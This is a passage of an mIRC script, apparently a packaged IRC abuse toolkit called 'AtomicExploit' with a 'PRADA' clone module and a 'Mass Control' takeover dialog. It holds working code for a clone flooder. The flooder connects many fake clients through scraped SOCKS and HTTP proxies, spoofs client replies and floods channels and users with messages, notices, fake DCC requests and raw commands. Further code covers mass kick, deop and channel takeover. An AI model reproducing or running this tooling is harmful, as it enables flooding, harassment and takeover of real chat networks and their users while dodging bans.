  echo -a 0,1 +  Rempliser toute le options ...  +
  if ($exists( [ [ $scriptdir ] $+ ] readme.txt )) { run $scriptdirreadme.txt }
}

alias unloadversion? {
  if ($version < 5.7) { 
    echo -a 0,1 AtomicExploit n'est pas compatible avec mirc $version : 5.7+ est requis pour le faire fonctionner. 
    unload -rs $script 
  }
  if ($window(-1).h < 600) || ($window(-1).w < 800) { 
    echo -a 0,1 AtomicExploit est compatible avec une resolution de 800+ par 600+ pixels. 
    unload -rs $script 
  }
}

alias -l options.write {
  if ($exists( [ [ $scriptdir ] $+ ] options.txt ) == $false) { 
    write -c [ [ $scriptdir ] $+ ] options.txt *Do not edit manually*
    write [ [ $scriptdir ] $+ ] options.txt 1080
    write [ [ $scriptdir ] $+ ] options.txt 23
    write [ [ $scriptdir ] $+ ] options.txt 10
    write [ [ $scriptdir ] $+ ] options.txt 10
    write [ [ $scriptdir ] $+ ] options.txt 20
    write [ [ $scriptdir ] $+ ] options.txt 20
    write [ [ $scriptdir ] $+ ] options.txt [ [ $scriptdir ] $+ ] Socks4.txt
    write [ [ $scriptdir ] $+ ] options.txt [ [ $scriptdir ] $+ ] Wingate.txt
    write [ [ $scriptdir ] $+ ] options.txt 1,1,1
  }
}

alias genocide.unload {
  if ($?!="Est tu sur de vouloir decharger AtomicExploit v 2?" == $true) { 
    .sockclose geno* 
    sockclose identd.geno* 
    unset %geno* 
    .timergeno* off 
    .timertask off 
    if ($dialog(geno)) { dialog -x geno geno } 
    unload -rs $script 
  }
}
Alias PRADA { 
  If ($Dialog(Clone)) { Dialog -v Clone } 
  Else { Dialog -md Clone Clone } 
} 

dialog Clone { 
  title "PRADA" 
  size -1 -1 577 512 
  option pixels 
  tab "Settings", 75, 8 8 559 463 
  box "Settings", 1, 16 40 540 420, tab 75 
  edit "irc.chatvn.com", 2, 66 62 242 21, tab 75 autohs 
  text "Server:", 3, 24 64 34 16, tab 75 
  edit "6667", 4, 312 62 44 20, tab 75 limit 5 
  text "Protocol:", 5, 24 90 42 16, tab 75 
  combo 6, 66 86 80 68, tab 75 size drop 
  box "On Connect", 7, 24 248 332 204, tab 75 
  box "Nickname and Real Name", 8, 24 120 332 124, tab 75 
  text "Connections:", 9, 152 90 66 16, tab 75 
  edit "128", 10, 224 88 44 20, tab 75 limit 4 
  radio "Random", 11, 32 136 58 20, tab 75 
  radio "Nicklist:", 12, 32 160 54 20, tab 75 
  radio "Other:", 13, 32 184 54 20, tab 75 
  edit "", 14, 88 160 196 20, disable tab 75 autohs 
  edit "", 15, 88 184 196 20, disable tab 75 limit 10 
  button "&Browse", 16, 288 160 58 20, disable tab 75 
  text "UserMode:", 17, 32 272 50 16, tab 75 
  edit "+id", 18, 88 270 60 20, tab 75 
  edit "", 19, 32 312 316 132, tab 75 multi return autohs autovs 
  text "Raw IRC Commands:", 20, 32 296 106 16, tab 75 
  box "Proxy/Socks List", 26, 360 56 188 396, tab 75 
  edit "", 85, 88 214 260 21, tab 75 autohs limit 70 
  text "Host:", 27, 368 80 26 16, tab 75 
  text "Port:", 28, 368 104 26 16, tab 75 
  edit "", 29, 400 78 140 20, tab 75 limit 15 
  edit "", 30, 400 102 140 20, tab 75 limit 5 
  button "Add", 31, 368 128 82 20, tab 75 
  button "Remove", 32, 456 128 82 20, tab 75 
  button "Import File", 33, 368 152 82 20, tab 75 
  list 34, 368 176 172 238, tab 75 size 
  button "Remove All", 35, 368 418 170 24, tab 75 
  check "CTCP Replies", 81, 272 89 84 20, tab 75 
  text "Real Name:", 82, 32 216 56 16, tab 75 
  button "Clipboard", 83, 456 152 82 20, tab 75 
  tab "Actions", 76 
  box "Actions", 36, 176 39 380 420, tab 76 
  box "Nicklist", 37, 16 40 156 356, tab 76 
  button "Join", 41, 184 62 67 20, disable tab 76 
  edit "", 42, 256 62 84 21, tab 76 autohs 
  button "Part", 43, 184 86 67 20, disable tab 76 
  edit "", 44, 256 86 84 21, tab 76 autohs 
  edit "", 45, 344 86 204 21, tab 76 autohs 
  button "Join Part", 46, 184 110 67 20, disable tab 76 
  edit "", 47, 256 110 84 21, tab 76 autohs 
  edit "", 48, 344 110 204 21, tab 76 autohs 
  button "Message", 49, 184 142 67 20, disable tab 76 
  edit "", 50, 256 142 84 21, tab 76 autohs 
  edit "", 51, 344 142 204 21, tab 76 autohs 
  button "Notice", 52, 184 166 67 20, disable tab 76 
  edit "", 53, 256 166 84 21, tab 76 autohs 
  edit "", 54, 344 166 204 21, tab 76 autohs 
  button "Describe", 55, 184 190 67 20, disable tab 76 
  edit "", 56, 256 190 84 21, tab 76 autohs 
  edit "", 57, 344 190 204 21, tab 76 autohs 
  button "CTCP", 58, 184 222 67 20, disable tab 76 
  edit "", 59, 256 222 84 21, tab 76 autohs 
  combo 60, 344 222 204 76, tab 76 size edit drop 
  button "DCC Send", 61, 184 246 67 20, disable tab 76 
  edit "", 62, 256 246 84 21, tab 76 autohs 
  edit "", 63, 344 246 204 21, tab 76 autohs 
  button "DCC Chat", 64, 184 270 67 20, disable tab 76 
  edit "", 65, 256 270 84 21, tab 76 autohs 
  button "Nick", 66, 184 294 67 20, tab 76 
  radio "Nicklist:", 68, 256 320 54 20, tab 76 
  radio "Other:", 69, 256 344 54 20, tab 76 
  radio "Random", 67, 256 296 58 20, tab 76 
  button "Browse", 72, 480 320 67 20, disable tab 76 
  edit "", 70, 312 320 164 21, disable tab 76 autohs 
  edit "", 74, 256 374 292 77, tab 76 multi return autohs autovs 
  button "Raw", 73, 184 374 67 20, disable tab 76 
  edit "", 71, 312 344 164 21, disable tab 76 limit 10 
  list 38, 24 56 140 308, tab 76 size extsel 
  text "Perform:", 39, 24 370 42 16, tab 76 
  combo 40, 72 368 92 60, tab 76 size drop 
  box "Statistics", 21, 16 400 156 60, tab 76 
  text "Total Connections:", 23, 24 436 92 16, tab 76 
  text "Connected Clones:", 22, 24 420 92 16, tab 76 
  text "0", 24, 120 420 42 16, tab 76 
  text "0", 25, 120 436 42 16, tab 76 
  tab "Get Lists", 97 
  edit "", 98, 24 56 260 21, tab 97 autohs 
  button "&Add URL", 99, 288 56 67 20, tab 97 
  list 100, 24 80 332 340, tab 97 size hsbar 
  box "URL List", 101, 16 40 348 420, tab 97 
  box "Taken Proxies/Socks", 102, 368 40 188 316, tab 97 
  list 103, 376 56 172 244, tab 97 size 
  button "Export", 104, 465 306 84 20, tab 97 
  text "Completed:", 105, 368 392 58 16, tab 97 
  text "0", 106, 432 408 122 16, tab 97 
  button "Get List", 107, 368 432 187 25, tab 97 
  button "Move to Proxy/Socks List", 109, 376 328 173 20, tab 97 
  text "Total Sites:", 110, 368 408 58 16, tab 97 
  text "0", 111, 432 392 122 16, tab 97 
  text "Socks/Proxies Taken:", 112, 368 368 106 16, tab 97 
  text "0", 113, 480 368 74 16, tab 97 
  button "Clear", 108, 376 306 84 20, tab 97 
  button "Remove Selected", 114, 24 432 163 20, tab 97 
  button "Remove All", 115, 192 432 163 20, tab 97 
  button "&Connect", 77, 8 480 83 25 
  button "&Disconnect", 78, 96 480 83 25 
  button "&Exit", 79, 490 480 75 25 
  button "Connected IP:Ports", 80, 368 480 115 25 
  button "Close Sockets", 84, 184 480 83 25 
} 

On *:Dialog:Clone:Init:*: { 
  Did -a $DName 6 Normal 
  Did -a $DName 6 Proxy 
  Did -a $DName 6 Socks 
  Did -c $DName 6 2 
  Did -a $DName 40 All 
  Did -a $DName 40 Selected 
  Did -c $DName 40 1 
  Did -a $DName 60 PING 
  Did -a $DName 60 TIME 
  Did -a $DName 60 VERSION 
  Did -c $DName 11 
  Did -c $DName 67 
  Add Socks 
} 

On *:Dialog:Clone:Edit:*: { 
  If ($Did == 42) { 
    If ($Left($Did(42),1) == $Chr(35)) && ($Count($Did(42),$Chr(32)) <= 1) { Did -e $DName 41 } 
    Else { Did -b $DName 41 } 
  } 
  If ($Did == 44) { 
    If ($Left($Did(44),1) == $Chr(35)) && ($Count($Did(44),$Chr(32)) == 0) { Did -e $DName 43 } 
    Else { Did -b $DName 43 } 
  } 
  If ($Did == 47) { 
    If ($Left($Did(47),1) == $Chr(35)) && ($Count($Did(47),$Chr(32)) == 0) { Did -e $DName 46 } 
    Else { Did -b $DName 46 } 
  } 
  If ($Did == 50) { 
    If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 } 
    Else { Did -b $DName 49 } 
  } 
  If ($Did == 51) { 
    If ($Count($Did(50),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(51)) { Did -e $DName 49 } 
    Else { Did -b $DName 49 } 
  } 
  If ($Did == 53) { 
    If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(53)) >= 1) && ($Did(54)) { Did -e $DName 52 } 
    Else { Did -b $DName 52 } 
  } 
  If ($Did == 54) { 
    If ($Count($Did(53),$Chr(32)) == 0) && ($Len($Did(50)) >= 1) && ($Did(54)) { Did -e $DName 52 } 
    Else { Did -b $DName 52 } 
  } 
  If ($Did == 56) { 
    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { Did -e $DName 55 } 
    Else { Did -b $DName 55 } 
  } 
  If ($Did == 57) { 
    If ($Count($Did(56),$Chr(32)) == 0) && ($Len($Did(56)) >= 1) && ($Did(57)) { Did -e $DName 55 } 
    Else { Did -b $DName 55 } 
  } 
  If ($Did == 59) { 
    If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 } 
    Else { Did -b $DName 58 } 
  } 
  If ($Did == 60) { 
    If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 } 
    Else { Did -b $DName 58 } 
  } 
  If ($Did == 62) { 
    If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 } 
    Else { Did -b $DName 61 } 
  } 
  If ($Did == 63) { 
    If ($Count($Did(62),$Chr(32)) == 0) && ($Len($Did(62)) >= 1) && ($Left($Did(62),1) != $Chr(35)) && ($Did(63)) { Did -e $DName 61 } 
    Else { Did -b $DName 61 } 
  } 
  If ($Did == 65) { 
    If ($Count($Did(65),$Chr(32)) == 0) && ($Len($Did(65)) >= 1) && ($Left($Did(65),1) != $Chr(35)) { Did -e $DName 64 } 
    Else { Did -b $DName 64 } 
  } 
  If ($Did == 74) { 
    If ($Len($Did(74)) >= 1) { Did -e $DName 73 } 
    Else { Did -b $DName 73 } 
  } 
  If ($Did == 70) { 
    If ($Did(70)) { Did -e $DName 66 } 
    Else { Did -b $DName 66 } 
  } 
  If ($Did == 71) { 
    If ($Did(71)) { Did -e $DName 66 } 
    Else { Did -b $DName 66 } 
  } 
} 

Alias Clone.Error { Var %E = $Input($1-,o,Clone) } 

On *:Dialog:Clone:SClick:*: { 
  If ($Did == 31) { 
    If (*.*.* iswm $Did(29)) && ($Did(30) <= 65535) && ($Did(30) >= 1) { Did -a $DName 34 $Did(29) $Did(30) } 
    Else { Clone.Error Invalid Sock/Proxy or Port } 
  } 
  If ($Did == 32) && ($Did(34).Sel) { Did -d $DName 34 $Did(34).Sel } 
  If ($Did == 33) { 
    Var %F = $SFile($mIRCDir,Clone,Import) 
    If (%F) { 
      Var %I = 1 
      While ($Read(%F,%I)) { 
        Var %F1 = $Read(%F,%I) 
        If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) } 
        If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Sock/Proxy file | Return } 
        Else { Did -a $DName 34 %F1 } 
        Inc %I 
      } 
    } 
  } 
  If ($Did == 83) { 
    Var %I = 1 
    While ($CB(%I)) { 
      Var %F1 = $CB(%I) 
      If ($Gettok(%F1,0,58) == 2) { Var %F1 = $Replace(%F1,$Chr(58),$Chr(32)) } 
      If ($Gettok(%F1,0,32) != 2) || ($Abs($Gettok(%F1,2,32)) == 0) { Clone.Error Invalid Socks/Proxys in Clipboard | Return } 
      Else { Did -a $DName 34 %F1 } 
      Inc %I 
    } 
  } 
  If ($Did == 35) { Did -r $DName 34 } 
  If ($Did == 11) { Did -b $DName 14 | Did -b $DName 15 | Did -b $DName 16 } 
  If ($Did == 12) { Did -e $DName 14 | Did -b $DName 15 | Did -e $DName 16 } 
  If ($Did == 13) { Did -b $DName 14 | Did -e $DName 15 | Did -b $DName 16 } 
  If ($Did == 67) { Did -b $DName 70 | Did -b $DName 71 | Did -b $DName 72 | Did -e $DName 66 } 
  If ($Did == 68) { 
    Did -e $DName 70 | Did -b $DName 71 | Did -e $DName 72 
    If ($Did(70)) { Did -e $DName 66 } 
    Else { Did -b $DName 66 } 
  } 
  If ($Did == 69) { 
    Did -b $DName 70 | Did -e $DName 71 | Did -b $DName 72 
    If ($Did(71)) { Did -e $DName 66 } 
    Else { Did -b $DName 66 } 
  } 
  If ($Did == 16) { 
    Var %F = $SFile($mIRCDir,Clone,Import) 
    If (%F) { Did -ra $DName 14 %F } 
  } 
  If ($Did == 72) { 
    Var %F = $SFile($mIRCDir,Clone,Import) 
    If (%F) { Did -ra $DName 70 %F | Did -e $DName 66 } 
  } 
  If ($Did == 60) { 
    If ($Count($Did(59),$Chr(32)) == 0) && ($Len($Did(59)) >= 1) && ($Did(60)) { Did -e $DName 58 } 
    Else { Did -b $DName 58 } 
  } 
  If ($Did == 41) { Clone.Do $Did(40) JOIN $Did(42) } 
  If ($Did == 43) { Clone.Do $Did(40) PART $Did(44) : $+ $Did(45) } 
  If ($Did == 46) { Clone.Do $Did(40) JOINPART $Did(47) : $+ $Did(48) } 
  If ($Did == 49) { Clone.Do $Did(40) PRIVMSG $Did(50) : $+ $Did(51) } 
  If ($Did == 52) { Clone.Do $Did(40) NOTICE $Did(53) : $+ $Did(54) } 
  If ($Did == 55) { Clone.Do $Did(40) PRIVMSG $Did(56) :
ACTION $Did(57) $+ 
 } 
  If ($Did == 58) { Clone.Do $Did(40) PRIVMSG $Did(59) :
 $+ $Did(60) $+ 
 } 
  If ($Did == 61) { Clone.Do $Did(40) PRIVMSG $Did(62) :
DCC SEND $Did(63) $Rand(0,4294967294) 1024 $Rand(10000,500000) $+ 
 } 
  If ($Did == 64) { Clone.Do $Did(40) PRIVMSG $Did(65) :
DCC CHAT chat $Rand(0,4294967294) 1024
 } 
  If ($Did == 66) { Clone.Do $Did(40) NICK } 
  If ($Did == 73) { 
    Var %I = 1 
    While ($Did(74,%I)) { Clone.Do $Did(40) RAW $Did(74,%I) | Inc %I } 
  } 
  If ($Did == 77) { 
    If (!$Did(34,1)) && (($Did(6) == Proxy) || ($Did(6) == Sock)) { Clone.Error Enter $Did(6) to the $Did(6) list } 
    ElseIf (*.*.* !iswm $Did(2)) { Clone.Error Enter a valid Server } 
    ElseIf ($Did(4) <= 0) && ($Did(4) >= 65535) { Clone.Error Enter a valid Port } 
    ElseIf (!$Did(10)) || ($Did(10) !isnum) { Clone.Error Enter the number clones to connect } 
    ElseIf ($Did(12).State == 1) && ($Exists($Did(14)) == $False) { Clone.Error Nicklist doesnt Exist } 
    ElseIf ($Did(13).State == 1) && (!$Did(15)) { Clone.Error Enter a Nickname } 
    ElseIf ($Did(6) == Sock) && ($Remove($Did(2),.) !isnum) { .Enable #Clone.DNS | .DNS $Did(2) } 
    Else { .TimerClone.Go $Did(10) 0 Clone.Go } 
  } 
  If ($Did == 78) { Did -r $DName 38 | Did -ra $DName 24 0 | Did -ra $DName 25 0 | SockClose Clone.* | Unset %Clone.* } 
  If ($Did == 79) { SockClose Clone.* | Dialog -x $DName } 
  If ($Did == 80) { Clone.IPs } 
  If ($Did == 84) { 
    Var %I = 1 
    While ($Sock(Clone.*,%I)) { 
      If (!$Sock(Clone.*,%I).Mark) { SockClose $Sock(Clone.*,%I) } 
      Inc %I 
    } 
    Did -ra Clone 25 $Sock(Clone.*,0) 
  } 
  If ($Did == 99) { 
    Did -a $DName 100 $Did(98) 
    Did -ra $DName 106 $Calc($Did(106) + 1) 
  } 
  If ($Did == 104) { 
    Var %F = $Input(Enter Filename:,ego,Clone) 
    If (%F) { 
      Var %I = 1 
      While ($Did(103,%I)) { Write %F $Did(103,%I) | Inc %I } 
    } 
  } 
  If ($Did == 107) { 
    Did -ra $DName 111 0 
    Var %I = 1 
    While ($Did(100,%I)) { 
      SockQueue CloneGet. [ $+ [ %I ] ] $Gettok($Remove($Did(100,%I),http://,www.),1,47) 80 
      Set %Clone.Get.URL. [ $+ [ %I ] ] $Gettok($Remove($Did(100,%I),http://,www.),1,47) 
      Set %Clone.Get.Ext. [ $+ [ %I ] ] $Iif($Gettok($Remove($Did(100,%I),http://,www.),2-,47),$Chr(47) $+ $Gettok($Remove($Did(100,%I),http://,www.),2-,47),$Chr(47)) 
      Inc %I 
    } 
  } 
  If ($Did == 108) { Did -r $DName 103 } 
  If ($Did == 109) { 
    Did -r $DName 34 
    Var %I = 1 
    While ($Did(103,%I)) { Did -a $DName 34 $Replace($Did(103,%I),$Chr(58),$Chr(32)) | Inc %I } 
  } 
  If ($Did == 114) && ($Did(100).Sel) { Did -d $DName 100 $Did(100).Sel } 
  If ($Did == 115) { Did -r $DName 100 } 
} 

On *:SockOpen:CloneGet.*: { 
  SockWrite -n $SockName GET %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ] HTTP/1.0 
  SockWrite -n $SockName Accept: */* 
  SockWrite -n $SockName Host: www. $+ %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ] 
  SockWrite -n $SockName Connection: Keep-Alive 
  SockWrite -n $SockName 
  Unset %Clone.Get.EXT. [ $+ [ $Gettok($SockName,2,46) ] ] 
  Unset %Clone.Get.URL. [ $+ [ $Gettok($SockName,2,46) ] ] 
} 

On *:SockRead:CloneGet.*: { 
  SockRead %R 
  If $WildTok(%R,*.*.*.*:*,1,32) && ($Remove($WildTok(%R,*.*.*.*:*,1,32),$Chr(46),$Chr(58)) isnum) { 
    Did -a Clone 103 $WildTok(%R,*.*.*.*:*,1,32) 
    Did -ra Clone 113 $Calc($Did(Clone,113) + 1) 
  } 
  Unset %R 
} 

Alias SockQueue { 
  If ($Sock(CloneGet.*,0) <= 6) { SockOpen $1- } 
  Else { Set %Clone.Queue. [ $+ [ $Rand(1,9999999) ] ] $1- } 
} 

On *:SockClose:CloneGet.* { 
  If ($Var(%Clone.Queue.*,1)) { 
    SockOpen $Var(%Clone.Queue.*,1).Value 
    Unset $Var(%Clone.Queue.*,1) 
  } 
  Did -ra Clone 111 $Calc($Did(Clone,111) + 1) 
} 

#Clone.DNS off 
On *:DNS: { 
  If ($RAddress) { Did -ra Clone 2 $RAddress | .TimerClone.Go $Did(Clone,10) 0 Clone.Go } 
  Else { Clone.Error Unable to resolve DNS of $Did(Clone,10) } 
  .Disable #Clone.DNS 
  Halt 
} 
#Clone.DNS End 

Alias Clone.Do { 
  If ($1 == All) { 
    Var %I = 1 
    While ($Sock(Clone.*,%I)) { 
      If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%I) JOIN $3 | SockWrite -nt $Sock(Clone.*,%I) PART $3- } 
      ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%I) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%I))) } 
      ElseIf ($2 == NICK) { 
        If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Clone.RandNick } 
        If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Gettok($Read($Did(Clone,70)),1,32) } 
        If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%I) NICK $Did(Clone,71) $+ $Clone.RandNick(2) } 
      } 
      Else { SockWrite -nt $Sock(Clone.*,%I) $2- } 
      Inc %I 
    } 
  } 
  If ($1 == Selected) { 
    Var %I = 1 
    While ($Did(Clone,38,%I)) { 
      If ($Did(Clone,38,%I).State == 1) { 
        Var %J = 1 
        While ($Sock(Clone.*,%J)) { 
          If ($Sock(Clone.*,%J).Mark == $Did(Clone,38,%I)) { 
            If ($2 == JOINPART) { SockWrite -nt $Sock(Clone.*,%J) JOIN $3 | SockWrite -nt $Sock(Clone.*,%J) PART $3- } 
            ElseIf ($2 == RAW) { SockWrite -nt $Sock(Clone.*,%J) $Replace($3-,^Nick^,$Clone.Nick($Sock(Clone.*,%J))) } 
            ElseIf ($2 == NICK) { 
              If ($Did(Clone,67).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Clone.RandNick } 
              If ($Did(Clone,68).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Gettok($Read($Did(Clone,70)),1,32) } 
              If ($Did(Clone,69).State == 1) { SockWrite -nt $Sock(Clone.*,%J) NICK $Did(Clone,71) } 
            } 
            Else { SockWrite -nt $Sock(Clone.*,%J) $2- } 
          } 
          Inc %J 
        } 
      } 
      Inc %I 
    } 
  } 
} 

Alias Clone.Conn { If ($Did(Clone,38,1)) { Return $Did(Clone,38).Lines } } 

On *:SockOpen:Clone.*: { 
  If ($SockErr) { SockClose $SockName | Did -ra Clone 25 $Sock(Clone.*,0) | Return } 
  If (Clone.Sock.* iswm $SockName) { BSet &Clone 1 5 1 0 | SockWrite $SockName &Clone } 
  If (Clone.Proxy.* iswm $SockName) { 
    SockWrite $SockName CONNECT $+($Did(Clone,2),:,$Did(Clone,4)) HTTP/1.1 
    SockWrite $SockName $CRLF $+ $CRLF $+ $CRLF 
    Clone.Conn.User $SockName 
  } 
  If (Clone.Normal.* iswm $Sockname) { Clone.Conn.User $SockName } 
  Did -ra Clone 25 $Sock(Clone.*,0) 
} 

On *:SockRead:Clone.*: { 
  If ($SockErr) { SockClose $SockName | Did -ra Clone 25 $Sock(Clone.*,0) | Return } 
  If (Clone.Sock.* iswm $SockName) && (!$Sock($SockName).Mark) { 
    SockRead &Read 
    If ($BVar(&Read,1,2) == 5 0) && ($BVar(&Read,3) != 0) { 
      Var %Port = $Gettok($LongIP($Did(Clone,4)),3,46) $Gettok($LongIP($Did(Clone,4)),4,46) 
      Var %Serv = $Replace($Did(Clone,2),$Chr(46),$Chr(32)) 
      BSet &Clone.Send 1 5 1 0 1 %Serv %Port 
      SockWrite $SockName &Clone.Send 
    } 
    If ($BVar(&Read,1,3) == 5 0 0) { SockMark $SockName 1 | Clone.Conn.User $SockName } 
  } 
  SockRead %Clone.Read 
  If (%Clone.Read) { Echo %Clone.Read } 
  Tokenize 32 %Clone.Read 
  Unset %Clone.Read 
  If (*<HTML>* iswm $1-) && (!$Sock($SockName).Mark) { 
    SockClose $SockName 
  } 
  If ($1 == PING) { SockWrite -nt $SockName PONG : $+ $Remove($2,:) } 
  If ($2 == PRIVMSG) && ($Did(Clone,81).State == 1) { 
    If ($4 == :
PING) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :
PING $5 } 
    If ($4 == :
TIME
) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :
TIME $ASCTime($Calc($Rand($Calc($CTime - 10000),$Calc($CTime + 10000)))) $+ 
 } 
    If ($4 == :
VERSION
) { SockWrite -nt $SockName NOTICE $Remove($Gettok($1,1,33),:) :
VERSION mIRC v6.16 Khaled Mardam-Bey
 } 
  } 
  If ($2 == 001) { 
    Var %I = 1 
    While ($Did(Clone,19,%I)) { SockWrite -nt $SockName $Replace($Did(Clone,19,%I),^Nick^,$3) | Inc %I } 
    If ($3) { Did -a Clone 38 $3 } 
    Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0) 
    SockWrite -nt $SockName Mode $3 $Did(Clone,18) 
    SockMark $SockName $3 
  } 
  If ($2 == 433) { 
    If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { 
      If ($Did(Clone,67).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick } 
      If ($Did(Clone,68).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Read($Did(Clone,70)) } 
      If ($Did(Clone,69).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,71) $+ $Clone.RandNick(2) } 
    } 
    Else { 
      If ($Did(Clone,11).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Clone.RandNick } 
      If ($Did(Clone,12).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 Clone.Conn.User $SockName } 
      If ($Did(Clone,13).State == 1) { .TimerClone. [ $+ [ $SockName ] ] 1 1 SockWrite -nt $SockName NICK $Did(Clone,15) $+ $Clone.RandNick(2) } 
    } 
  } 
  If ($2 == NICK) && ($Remove($Gettok($1,1,33),:) == $Sock($SockName).Mark) { 
    Var %I = 1 
    While ($Did(Clone,38,%I)) { 
      If ($Did(Clone,38,%I) == $Remove($Gettok($1,1,33),:)) { Did -o Clone 38 %I $Remove($3,:) } 
      Inc %I 
    } 
    SockMark $SockName $Remove($3,:) 
  } 
  Did -ra Clone 25 $Sock(Clone.*,0) 
} 

Alias Clone.Ignore { 
  Var %I = 1 
  While ($Did(Clone,96,%I)) { 
    If ($Did(Clone,96,%I) iswm $Remove($1,$Chr(58))) { Return $Did(Clone,96,%I) } 
    Inc %I 
  } 
} 

On *:SockClose:Clone.*: { 
  If ($Sock($SockName).Mark) && ($Sock($SockName).Mark != 1) { 
    Var %I = 1 
    While ($Did(Clone,38,%I)) { 
      If ($Did(Clone,38,%I) == $Sock($SockName).Mark) { Did -d Clone 38 %I } 
      Inc %I 
    } 
  } 
  Did -ra Clone 25 $Sock(Clone.*,0) 
  Did -ra Clone 24 $Iif($Clone.Conn,$Clone.Conn,0) 
} 

Alias Clone.Nick { Return $Sock($1).Mark } 

Alias Clone.Sock { 
  Var %I = 1 
  While ($Sock(Clone.*,%I)) { 
    If ($Sock(Clone.*,%I).Mark == $1) { Return $Sock(Clone.*,%I) } 
    Inc %I 
  } 
} 

Alias Clone.RandNick { 
  Var %I = $Iif($1,$1,$Rand(3,12)), %J = 1 
  While (%J <= %I) { Var %C = $Rand(1,0), %N = %N $+ $Iif(%C == 1,$Rand(A,Z),$Rand(a,z)) | Inc %J } 
  Return %N 
} 

Alias Clone.Conn.User { 
  If ($Did(Clone,11).State == 1) { 
    SockWrite -nt $1 USER $Lower($Clone.RandNick) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Clone.RandNick($Rand(20,70))) 
    SockWrite -nt $1 NICK $Clone.RandNick 
  } 
  If ($Did(Clone,12).State == 1) { 
    Var %N = $Gettok($Read($Did(Clone,14)),1,32) 
    SockWrite -nt $1 USER $Lower(%N) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),%N) 
    SockWrite -nt $1 NICK %N 
  } 
  If ($Did(Clone,13).State == 1) { 
    SockWrite -nt $1 USER $Lower($Did(Clone,15)) "" "" : $+ $Iif($Did(Clone,85),$Did(Clone,85),$Did(Clone,15)) 
    SockWrite -nt $1 NICK $Did(Clone,15) $+ $Clone.RandNick(2) 
  } 
} 

Alias Clone.Go { 
  If (!$Did(Clone,34,%Clone.List)) { Set %Clone.List 1 } 
  :Again 
  Var %R = $Rand(0,9999999) 
  If ($Sock($+(Clone.,$Did(Clone,6),.,%R))) { Goto Again } 
  If ($Did(Clone,6) == Normal) { SockOpen Clone.Normal. $+ %R $Did(Clone,2) $Did(Clone,4) } 
  Else { SockOpen $+(Clone.,$Did(Clone,6),.,%R) $Did(Clone,34,%Clone.List) } 
  Inc %Clone.List 
  Did -ra Clone 25 $Sock(Clone.*,0) 
} 

Dialog -l Clone.IPs { 
  Title "Connected IP Ports" 
  Size -1 -1 254 360 
  Option Pixels 
  Edit "", 1, 8 8 236 317, Read Multi 
  Button &Refresh List, 2, 8 332 235 20 
} 

On *:Dialog:Clone.IPs:Init:*: { Clone.IPs } 
On *:Dialog:Clone.IPs:SClick:2: { Clone.IPs } 

Alias Clone.IPs { 
  If (!$Dialog(Clone.IPs)) { Dialog -md Clone.IPs Clone.IPs } 
  Did -r Clone.IPs 1 
  Var %I = 1 
  While ($Sock(Clone.*,%I)) { 
    If ($Sock(Clone.*,%I).Mark) && ($Sock(Clone.*,%I).Mark != 1) && (!$DidWM(Clone.IPs,1,$Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port)) { 
      Did -i Clone.IPs 1 1 $Sock(Clone.*,%I).IP $Sock(Clone.*,%I).Port 
    } 
    Inc %I 
  } 
} 
.type /clone 
: ############## Mass Control #################
alias takeover dialog -m takeover takeover
dialog takeover {
  title "Mass Control Fais Par Rectum Crew"
  size -1 -1 147 109
  option dbu
  text "Choisir un channel:" 2, 5 10 46 7,
  combo 3, 55 5 79 116, Drop
  button "Lancer" 4, 5 90 36 13, Ok
  box "Choisir le Mass:" 5, 5 25 137 58,
  radio "Masskick" 6, 10 35 35 8,
  radio "Massdeop" 7, 50 35 39 8,
  radio "Massop" 8, 100 35 38 8,
  radio "Massdevoice" 9, 50 45 44 9,
  radio "Massvoice" 10, 10 45 38 9,
  check "Inclure Le TakeOver" 11, 10 60 70 9,
  text "(Mode +ntmsikl)" 12, 10 70 43 8,
  button "Quitter" 13, 50 90 37 13, Cancel
}
on 1:dialog:takeover:init:0:{
  takeover.chanlist
}
on 1:dialog:takeover:sclick:4:{
  if ($me isop %takeover. [ $+ [ $did(takeover,3).sel ] ]) {
    if ($did(11).state == 1) {
